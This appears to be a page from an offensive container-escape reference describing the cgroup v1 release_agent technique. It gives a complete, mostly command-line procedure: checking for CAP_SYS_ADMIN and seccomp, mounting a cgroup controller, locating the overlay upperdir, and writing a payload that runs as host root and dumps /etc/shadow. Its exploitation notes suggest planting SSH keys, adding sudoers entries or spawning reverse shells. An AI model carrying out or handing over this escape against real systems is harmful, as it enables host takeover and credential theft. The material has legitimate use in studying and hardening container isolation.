The release_agent is a cgroup v1 feature: a program path that the kernel runs, as a fresh root process in the host's init namespaces, whenever the last task exits a cgroup that has notify_on_release enabled. Nothing about this execution is confined to the container, because the kernel runs the agent from the host's filesystem and namespace context. A container that can mount a cgroup v1 controller and write the release_agent and notify_on_release files therefore has a direct, exploit-free path to host code execution.
Preconditions: CAP_SYS_ADMIN (to mount the cgroup filesystem), a callable mount syscall (not blocked by seccomp), and a cgroup v1 hierarchy on the host.
grep CapEff /proc/self/status # CAP_SYS_ADMIN present
grep Seccomp /proc/self/status # 0 or a filter that permits mount
ls /sys/fs/cgroup/*/release_agent 2>/dev/null # v1 hierarchies exist
mount | grep -q cgroup2 && echo "cgroup v2 present (release_agent may be absent)"
The full technique#
# 1. Mount a cgroup v1 controller we control. "rdma" is chosen because it is
# rarely already mounted; any v1 controller works.
mkdir /tmp/cg && mount -t cgroup -o rdma cgroup /tmp/cg
mkdir /tmp/cg/x
# 2. Mark the child cgroup so the kernel fires the agent when it empties
echo 1 > /tmp/cg/x/notify_on_release
# 3. The agent runs in the HOST filesystem view. Find where this container's
# root maps on the host (overlay upperdir) so the payload path resolves there.
host=$(sed -n 's/.*\bupperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
# 4. Point release_agent at a payload under that host-visible path
echo "$host/x.sh" > /tmp/cg/release_agent
# 5. Write the payload (runs as root on the host)
cat > /x.sh <<SH
#!/bin/sh
id > $host/out 2>&1
cat /etc/shadow >> $host/out 2>&1
SH
chmod +x /x.sh
# 6. Trigger: put a short-lived task into the child cgroup, let it exit
sh -c "echo \$\$ > /tmp/cg/x/cgroup.procs"
sleep 1; cat /out
The upperdir step in 3 and 4 is the crux. The kernel resolves release_agent in the host root filesystem, so a payload written only at /x.sh inside the container would not be found; writing the agent path as the overlay upperdir location makes the same inode reachable from the host side, and reading it from /proc/self/mountinfo keeps the technique portable.
Variants and failure modes#
- cgroup v2 only: a pure cgroup-v2 host has no
release_agentfile and themount -t cgroupin step 1 has no v1 controller to bind; the technique does not apply. Confirm withmount | grep cgroup2and the absence ofrelease_agent. Fall back to a kernel module or disk mount. - seccomp blocks mount: the default Docker seccomp profile blocks
mount, so this route needsseccomp=unconfinedalongside the capability; see Unconfined seccomp or AppArmor. - no CAP_SYS_ADMIN: without it the mount fails; this is why the technique is listed under both CAP_SYS_ADMIN and Privileged flag.
Exploitation notes#
- The payload runs once, briefly, as root in the host init namespace: use it to drop an SSH key, add a sudoers entry, or spawn a reverse shell rather than trying to hold an interactive session through the agent.
- Output must be written to a host-visible path (the same
upperdir) to read it back from inside the container, as the example does without.